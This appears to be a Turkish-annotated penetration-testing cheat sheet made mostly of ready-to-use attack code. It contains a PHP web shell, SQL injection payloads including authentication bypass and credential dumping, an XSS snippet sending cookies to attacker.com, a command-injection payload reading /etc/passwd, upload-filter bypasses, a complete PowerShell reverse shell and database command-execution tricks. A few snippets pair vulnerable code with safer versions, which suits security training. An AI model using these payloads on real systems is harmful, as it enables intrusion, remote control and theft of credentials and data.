alert('CODE BLOCK')
<img src=x onerror=alert('XSS')>

deneme

<script>alert('XSS')</script>

<?php system($_GET['cmd']); ?>

# Mevcut dizini göster
pwd

# Dosyaları listele (detaylı + gizli)
ls -la

# Dizin oluştur
mkdir test_folder

# Boş dosya oluştur
touch test.txt

# Dosya içeriğini göster
cat /etc/passwd

# Dosya izinlerini değiştir
chmod 755 script.sh

# Sahiplik değiştir
chown user:group file.txt

# IP adresini göster
ip addr show
ifconfig

# Aktif bağlantıları göster
netstat -tulnp
ss -tulnp

# DNS sorgusu
nslookup google.com
dig google.com

# Ping testi
ping -c 4 8.8.8.8

#!/usr/bin/env python3
import socket
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    """Belirtilen portu tarar"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        sock.close()

        if result == 0:
            return port, True
        return port, False
    except Exception as e:
        return port, False

def main():
    target = "192.168.1.1"
    ports = range(1, 1001)

    print(f"[*] Scanning {target}...")

    with ThreadPoolExecutor(max_workers=100) as executor:
        results = executor.map(lambda p: scan_port(target, p), ports)

    open_ports = [port for port, is_open in results if is_open]

    print(f"\n[+] Found {len(open_ports)} open ports:")
    for port in open_ports:
        print(f"    - Port {port}/tcp is OPEN")

if __name__ == "__main__":
    main()

-- Authentication bypass
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin' --
admin' #

-- UNION based injection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--

-- Boolean based blind
' AND 1=1--
' AND 1=2--
' AND (SELECT COUNT(*) FROM users)>0--

-- Time based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
'; SELECT pg_sleep(5)--

// Basic XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

// Cookie stealing
<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

// DOM based XSS
<script>
var search = window.location.search.substring(1);
document.write(search);
</script>

// Advanced payload
<svg/onload=eval(atob('YWxlcnQoJ1hTUycp'))>

<?php
// Güvensiz kod (KULLANMAYIN!)
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

// Payload: 8.8.8.8; cat /etc/passwd
// Sonuç: Ping yapılır VE /etc/passwd okunur

// Güvenli versiyon
$ip = $_GET['ip'];
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $safe_ip = escapeshellarg($ip);
    system("ping -c 4 " . $safe_ip);
} else {
    die("Invalid IP address");
}
?>

<?php
// Zayıf dosya kontrolü
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

if (in_array($ext, $allowed)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
}

// Bypass: shell.php.jpg (double extension)
// Bypass: shell.pHp (case sensitivity)
// Bypass: shell.php%00.jpg (null byte)

// Güvenli versiyon
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];

if (in_array($mime, $allowed_mimes)) {
    $new_name = bin2hex(random_bytes(16)) . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
}
?>

# Sistem bilgisi
Get-ComputerInfo

# Kullanıcıları listele
Get-LocalUser

# Çalışan servisler
Get-Service | Where-Object {$_.Status -eq "Running"}

# Ağ bağlantıları
Get-NetTCPConnection -State Listen

# Güvenlik duvarı kuralları
Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'}

# Scheduled tasks
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"}

# Antivirüs durumu
Get-MpComputerStatus

# PowerShell reverse shell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

-- Version detection
SELECT @@version;
SELECT version();

-- Current user
SELECT user();
SELECT current_user();

-- List databases
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;

-- List tables
SHOW TABLES;
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

-- Dump data
SELECT * FROM users;
SELECT username, password FROM users INTO OUTFILE '/tmp/users.txt';

-- Privilege escalation
SELECT * FROM mysql.user;
GRANT ALL PRIVILEGES ON *.* TO 'user'@'%';

-- Version
SELECT version();

-- Current user
SELECT current_user;

-- List databases
\l
SELECT datname FROM pg_database;

-- Command execution (if superuser)
COPY (SELECT '') TO PROGRAM 'whoami';
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

# MD5 (Güvensiz - KULLANMAYIN!)
echo -n "password123" | md5sum

# SHA-256
echo -n "password123" | sha256sum

# Bcrypt (Python)
python3 -c "import bcrypt; print(bcrypt.hashpw(b'password123', bcrypt.gensalt()))"

# Base64 encode
echo "Hello World" | base64

# Base64 decode
echo "SGVsbG8gV29ybGQK" | base64 -d

# URL encode
python3 -c "import urllib.parse; print(urllib.parse.quote('Hello World!'))"

# Hex encode
echo "test" | xxd -p

# Hex decode
echo "74657374" | xxd -r -p

Phase 1: Reconnaissance (Gün 1-2)
  - Passive information gathering
  - OSINT techniques
  - Technology identification

Phase 2: Scanning (Gün 3-5)
  - Port scanning
  - Vulnerability scanning
  - Service enumeration

Phase 3: Exploitation (Gün 6-10)
  - Vulnerability exploitation
  - Privilege escalation
  - Lateral movement

Phase 4: Post-Exploitation (Gün 11-12)
  - Data exfiltration
  - Persistence mechanisms
  - Clean up

Phase 5: Reporting (Gün 13-15)
  - Executive summary
  - Technical details
  - Remediation recommendations